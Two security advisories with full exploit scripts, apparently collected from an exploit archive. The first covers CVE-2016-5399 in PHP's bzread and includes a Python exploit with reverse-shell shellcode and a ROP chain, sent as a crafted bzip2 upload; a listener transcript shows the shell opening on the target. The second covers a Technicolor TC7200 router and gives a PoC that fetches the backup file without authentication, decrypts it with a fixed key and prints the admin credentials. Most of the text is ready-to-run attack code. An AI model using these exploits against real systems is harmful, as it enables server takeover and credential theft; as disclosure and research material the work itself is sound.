| 044 #define BZ_UNEXPECTED_EOF (-7)
| 045 #define BZ_OUTBUFF_FULL (-8)
| 046 #define BZ_CONFIG_ERROR (-9)
`----
Should the invocation of BZ2_bzread() fail, the loop would simply be
broken out of (bz2.c:152) and execution would continue with bzread()
returning RETURN_NEW_STR(data).
According to the manual [1], bzread() returns FALSE on error; however
that does not seem to ever happen.
Due to the way that the bzip2 library deals with state, this could
result in an exploitable condition if a user were to call bzread() after
an error, eg:
,----
| $data = "";
| while (!feof($fp)) {
| $res = bzread($fp);
| if ($res === FALSE) {
| exit("ERROR: bzread()");
| }
| $data .= $res;
| }
`----
Exploitation
============
One way the lack of error-checking could be abused is through
out-of-bound writes that may occur when `BZ2_decompress()' (BZ2_bzread()
-> BZ2_bzRead() -> BZ2_bzDecompress() -> BZ2_decompress()) processes the
`pos' array using user-controlled selectors as indices:
bzip2-1.0.6/decompress.c
,----
| 106 Int32 BZ2_decompress ( DState* s )
| 107 {
| 108 UChar uc;
| 109 Int32 retVal;
| ...
| 113 /* stuff that needs to be saved/restored */
| 114 Int32 i;
| 115 Int32 j;
| ...
| 118 Int32 nGroups;
| 119 Int32 nSelectors;
| ...
| 167 /*restore from the save area*/
| 168 i = s->save_i;
| 169 j = s->save_j;
| ...
| 172 nGroups = s->save_nGroups;
| 173 nSelectors = s->save_nSelectors;
| ...
| 195 switch (s->state) {
| ...
| 286 /*--- Now the selectors ---*/
| 287 GET_BITS(BZ_X_SELECTOR_1, nGroups, 3);
| 288 if (nGroups < 2 || nGroups > 6) RETURN(BZ_DATA_ERROR);
| 289 GET_BITS(BZ_X_SELECTOR_2, nSelectors, 15);
| 290 if (nSelectors < 1) RETURN(BZ_DATA_ERROR);
| 291 for (i = 0; i < nSelectors; i++) {
| 292 j = 0;
| 293 while (True) {
| 294 GET_BIT(BZ_X_SELECTOR_3, uc);
| 295 if (uc == 0) break;
| 296 j++;
| 297 if (j >= nGroups) RETURN(BZ_DATA_ERROR);
| 298 }
| 299 s->selectorMtf[i] = j;
| 300 }
| 301
| 302 /*--- Undo the MTF values for the selectors. ---*/
| 303 {
| 304 UChar pos[BZ_N_GROUPS], tmp, v;
| 305 for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307 for (i = 0; i < nSelectors; i++) {
| 308 v = s->selectorMtf[i];
| 309 tmp = pos[v];
| 310 while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311 pos[0] = tmp;
| 312 s->selector[i] = tmp;
| 313 }
| 314 }
| 315
| ...
| 613 save_state_and_return:
| 614
| 615 s->save_i = i;
| 616 s->save_j = j;
| ...
| 619 s->save_nGroups = nGroups;
| 620 s->save_nSelectors = nSelectors;
| ...
| 640 return retVal;
| 641 }
`----
bzip2-1.0.6/decompress.c
,----
| 070 #define GET_BIT(lll,uuu) \
| 071 GET_BITS(lll,uuu,1)
`----
bzip2-1.0.6/decompress.c
,----
| 043 #define GET_BITS(lll,vvv,nnn) \
| 044 case lll: s->state = lll; \
| 045 while (True) { \
| ...
| 065 }
`----
If j >= nGroups (decompress.c:297), BZ2_decompress() would save its
state and return BZ_DATA_ERROR. If the caller don't act on the
erroneous retval, but rather invokes BZ2_decompress() again, the saved
state would be restored (including `i' and `j') and the switch statement
would transfer execution to the BZ_X_SELECTOR_3 case -- ie. the
preceding initialization of `i = 0' and `j = 0' would not be executed.
In pseudocode it could be read as something like:
,----
| i = s->save_i;
| j = s->save_j;
|
| switch (s->state) {
| case BZ_X_SELECTOR_2:
| s->state = BZ_X_SELECTOR_2;
|
| nSelectors = get_15_bits...
|
| for (i = 0; i < nSelectors; i++) {
| j = 0;
| while (True) {
| goto iter;
| case BZ_X_SELECTOR_3:
| iter:
| s->state = BZ_X_SELECTOR_3;
|
| uc = get_1_bit...
|
| if (uc == 0) goto done;
| j++;
| if (j >= nGroups) {
| retVal = BZ_DATA_ERROR;
| goto save_state_and_return;
| }
| goto iter;
| done:
| s->selectorMtf[i] = j;
`----
An example selector with nGroup=6:
,----
| 11111111111110
| ||||| `|||||| `- goto done; s->selectorMtf[i] = 13;
| `´ j++;
| j++; goto save_state_and_return;
| goto iter;
`----
Since the selectors are used as indices to `pos' in the subsequent loop,
an `nSelectors' amount of <= 255 - BZ_N_GROUPS bytes out-of-bound writes
could occur if BZ2_decompress() is invoked in spite of a previous error.
bzip2-1.0.6/decompress.c
,----
| 304 UChar pos[BZ_N_GROUPS], tmp, v;
| 305 for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307 for (i = 0; i < nSelectors; i++) {
| 308 v = s->selectorMtf[i];
| 309 tmp = pos[v];
| 310 while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311 pos[0] = tmp;
| 312 s->selector[i] = tmp;
| 313 }
`----
bzip2-1.0.6/bzlib_private.h
,----
| 121 #define BZ_N_GROUPS 6
`----
PoC
===
Against FreeBSD 10.3 amd64 with php-fpm 7.0.8 and nginx from the
official repo [2]:
,----
| $ nc -v -l 1.2.3.4 5555 &
| Listening on [1.2.3.4] (family 0, port 5555)
|
| $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php
| [*] sending archive to http://target/upload.php (0)
|
| Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479)
| $ fg
| id
| uid=80(www) gid=80(www) groups=80(www)
|
| uname -imrsU
| FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000
|
| /usr/sbin/pkg query -g "=> %n-%v" php*
| => php70-7.0.8
| => php70-bz2-7.0.8
|
| cat upload.php
| <?php
| $fp = bzopen($_FILES["file"]["tmp_name"], "r");
| if ($fp === FALSE) {
| exit("ERROR: bzopen()");
| }
|
| $data = "";
| while (!feof($fp)) {
| $res = bzread($fp);
| if ($res === FALSE) {
| exit("ERROR: bzread()");
| }
| $data .= $res;
| }
| bzclose($fp);
| ?>
`----
Solution
========
This issue has been assigned CVE-2016-5399 and can be mitigated by
calling bzerror() on the handle between invocations of bzip2.
Another partial solution has been introduced in PHP 7.0.9 and 5.5.38,
whereby the stream is marked as EOF when an error is encountered;
allowing this flaw to be avoided by using feof(). However, the PHP
project considers this to be an issue in the underlying bzip2
library[3].
Footnotes
_________
[1] [https://secure.php.net/manual/en/function.bzread.php]
[2] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-5399]
[3] [https://bugs.php.net/bug.php?id=72613]
-- Hans Jerry Illikainen
'''
#!/usr/bin/env python
#
# PoC for CVE-2016-5399 targeting FreeBSD 10.3 x86-64 running php-fpm
# behind nginx.
#
# ,----
# | $ nc -v -l 1.2.3.4 5555 &
# | Listening on [1.2.3.4] (family 0, port 5555)
# |
# | $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php
# | [*] sending archive to http://target/upload.php (0)
# |
# | Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479)
# | $ fg
# | id
# | uid=80(www) gid=80(www) groups=80(www)
# |
# | uname -imrsU
# | FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000
# |
# | /usr/sbin/pkg query -g "=> %n-%v" php*
# | => php70-7.0.8
# | => php70-bz2-7.0.8
# |
# | cat upload.php
# | <?php
# | $fp = bzopen($_FILES["file"]["tmp_name"], "r");
# | if ($fp === FALSE) {
# | exit("ERROR: bzopen()");
# | }
# |
# | $data = "";
# | while (!feof($fp)) {
# | $res = bzread($fp);
# | if ($res === FALSE) {
# | exit("ERROR: bzread()");
# | }
# | $data .= $res;
# | }
# | bzclose($fp);
# | ?>
# `----
#
# - Hans Jerry Illikainen <hji@dyntopia.com>
#
import argparse
import socket
from struct import pack
import requests
import bitstring
# reverse shell from metasploit
shellcode = [
"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31\xd2\x0f"
"\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0\x62\x48\x31\xf6"
"\x56\x48\xbe\x00\x02%(port)s%(ip)s\x56\x48\x89\xe6\x6a\x10"
"\x5a\x0f\x05\x4c\x89\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58"
"\x0f\x05\x75\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2\x52"
"\x57\x48\x89\xe6\x0f\x05"
]
# we're bound by the MTF and can only reuse values on the stack
# between pos[0]..pos[255]
selectors = [
# retaddr:
# 0x8009c9462: lea rsp,[rbp-0x20]
# 0x8009c9466: pop rbx
# 0x8009c9467: pop r12
# 0x8009c9469: pop r14
# 0x8009c946b: pop r15
# 0x8009c946d: pop rbp
# 0x8009c946e: ret
#
# from /libexec/ld-elf.so.1 (bbdffba2dc3bb0b325c6eee9d6e5bd01141d97f3)
9, 10, 11, 18, 1, 88, 31, 127,
# rbp:
# 0x802974300 (close to the end of the stream)
16, 17, 18, 29, 22, 152, 159, 25,
# push it back
17, 18, 19, 20, 21, 22, 23, 24,
25, 26, 27, 28, 29, 30, 31, 32,
33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48,
49, 50, 51, 52, 53, 54, 55, 56,
57, 58, 59, 60, 61, 62
]
payload = [
# addr
#
# 0x41c4c8: pop rdi
# 0x41c4c9: ret
pack("<Q", 0x41c4c8),
pack("<Q", 0x0802973000),
# len
#
# 0x421508: pop rsi
# 0x421509: ret 0x0
pack("<Q", 0x421508),
pack("<Q", 0x5555),
# prot
#
# 0x519b3a: pop rdx
# 0x519b3b: ret
pack("<Q", 0x519b3a),
pack("<Q", 0x7),
# mprotect
#
# 0x5adf50: pop rax
# 0x5adf51: ret
pack("<Q", 0x5adf50),
pack("<Q", 74),
# from /libexec/ld-elf.so.1 (bbdffba2dc3bb0b325c6eee9d6e5bd01141d97f3)
#
# 0x8009d5168: syscall
# 0x8009d516a: jb 0x8009d9d00
# 0x8009d5170: ret
pack("<Q", 0x08009d5168),
pack("<Q", 0x08029731b7),
"%(shellcode)s",
"%(pad)s",
# 0x45de9c: pop rsp
# 0x45de9d: ret
pack("<Q", 0x45de9c),
pack("<Q", 0x0802973167),
]
def get_payload(ip, port):
sc = "".join(shellcode) % {
"ip": socket.inet_aton(ip),
"port": pack("!H", port)
}
return "".join(payload) % {
"shellcode": sc,
"pad": "\x90" * (4433 - len(sc)),
}
def get_header():
b = bitstring.BitArray()
b.append("0x425a") # magic
b.append("0x68") # huffman
b.append("0x31") # block size (0x31 <= s <= 0x39)
b.append("0x314159265359") # compressed magic
b.append("0x11223344") # crc
b.append("0b0") # not randomized
b.append("0x000000") # pointer into BWT
b.append("0b0000000000000001") # mapping table 1
b.append("0b0000000000000001") # mapping table 2
b.append("0b110") # number of Huffman groups (1 <= n <= 6)
b.append(format(len(selectors), "#017b")) # number of selectors
# selector list
for s in selectors:
b.append("0b" + "1" * s + "0")
# BZ_X_CODING_1 (1 <= n <= 20). we want a fail to make
# BZ2_decompress() bail as early as possible into the
# first gadget since the stack will be kind of messed up
b.append("0b00000")
return b.tobytes()
def send_bzip2(url, bzip2):
try:
req = requests.post(url, files={"file": bzip2}, timeout=5)
except requests.exceptions.Timeout:
return 0
return req.status_code
def get_args():
p = argparse.ArgumentParser()
p.add_argument("--ip", required=True, help="connect-back ip")
p.add_argument("--port", required=True, type=int, help="connect-back port")
p.add_argument("--attempts", type=int, default=10)
p.add_argument("url")
return p.parse_args()
def main():
args = get_args()
bzip2 = get_header() + get_payload(args.ip, args.port)
for i in range(args.attempts):
print("[*] sending archive to %s (%d)" % (args.url, i))
status = send_bzip2(args.url, bzip2)
if status == 0:
break
elif status == 404:
exit("[-] 404: %s" % args.url)
if __name__ == "__main__":
main()
'''
Technicolor TC7200 modem/router multiple vulnerabilities
--------------------------------------------------------
Platforms / Firmware confirmed affected:
- Technicolor TC7200, STD6.02.11
- Product page: http://www.technicolor.com/en/solutions-services/connected-home/broadband-devices/cable-modems-gateways/tc7200-tc7300
Vulnerabilities
---------------
Insecure session management
The web interface does not use cookies at all and does not check the IP
address of the client. If admin login is successful, every user from the
LAN can access the management interface.
Backup file encryption uses fix password
Technicolor fixed the CVE-2014-1677 by encrypting the backup file with
AES. However, the encrypted backup file remains accessible without
authentication and if the password is not set in the web interface a
default password is used. So, if an attacker accesses the backup file
without authentication, the password cannot be set, and the backup file
can be decrypted.
Timeline
--------
- 2015.07.30: We sent some new issues affecting the Ubee router and other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC
- Between 2015.07.31 and 08.12 there were several e-mail and phone communications between technical persons from Liberty Global to clarify the findings
- 2015.08.19: UPC sent out advisory emails to its end users to change the default WiFi passphrase
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.
POC
---
POC script is available to demonstrate the following problems [2]:
- Unauthenticated backup file access
- Backup file decryption
Recommendations
---------------
Since only the ISP can update the firmware, we can recommend for users
to change the WiFi passphrase.
Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt
from SEARCH-LAB Ltd. (www.search-lab.hu)
References
----------
[1] http://www.search-lab.hu/advisories/secadv-20160720
[2] https://github.com/ebux/Cable-modems/tree/master/Technicolor
'''
#
# POC code for Technicolor TC7200
#
# Demonstrates the following vulnerabilities
# - Unauthenticated backup file access
# - Backup file decryption
#
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
#
# Advisory: http://www.search-lab.hu/advisories/secadv-20150720
import sys
import requests
import struct
import binascii
from Crypto.Cipher import AES
class technicolor:
def __init__(self, addr, port):
self.addr = addr
self.port = port
self.s = requests.Session()
def getUri(self, uri):
return 'http://%s:%d/%s'%(self.addr,self.port,uri)
def downloadBackupFile(self):
r = self.s.get(self.getUri('goform/system/GatewaySettings.bin'))
resp = ''
for chunk in r:
resp += chunk
return resp
def parseBackup(self, backup):
p = backup.find('MLog')
if (p > 0):
p += 6
nh = struct.unpack('!H',backup[p:p+2])[0]
name = backup[p+2:p+2+nh]
p += 2+nh
ph = struct.unpack('!H',backup[p:p+2])[0]
pwd = backup[p+2:p+2+nh]
return (name,pwd)
return ('','')
def decryptBackup(self, backup):
key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F')
l = (len(backup)/16)*16
cipher = AES.new(key, AES.MODE_ECB, '\x00'*(16))
plain = cipher.decrypt(backup[0:l])
return plain
#------------------------------------
if (len(sys.argv) < 2):
print 'technicolor_tc7200_poc.py addr [port]'
addr = sys.argv[1]
port = 80
if (len(sys.argv) == 3):
port = int(sys.argv[2])
# create technicolor object
t = technicolor(addr, port)
backup = t.downloadBackupFile()
if (len(backup) > 0):
open('test.enc', 'wb').write(backup)
plain = t.decryptBackup(backup)
open('test.dec', 'wb').write(plain)
(name, pwd) = t.parseBackup(plain)
if (name != ''):
print 'admin name: %s, pwd: %s'%(name,pwd)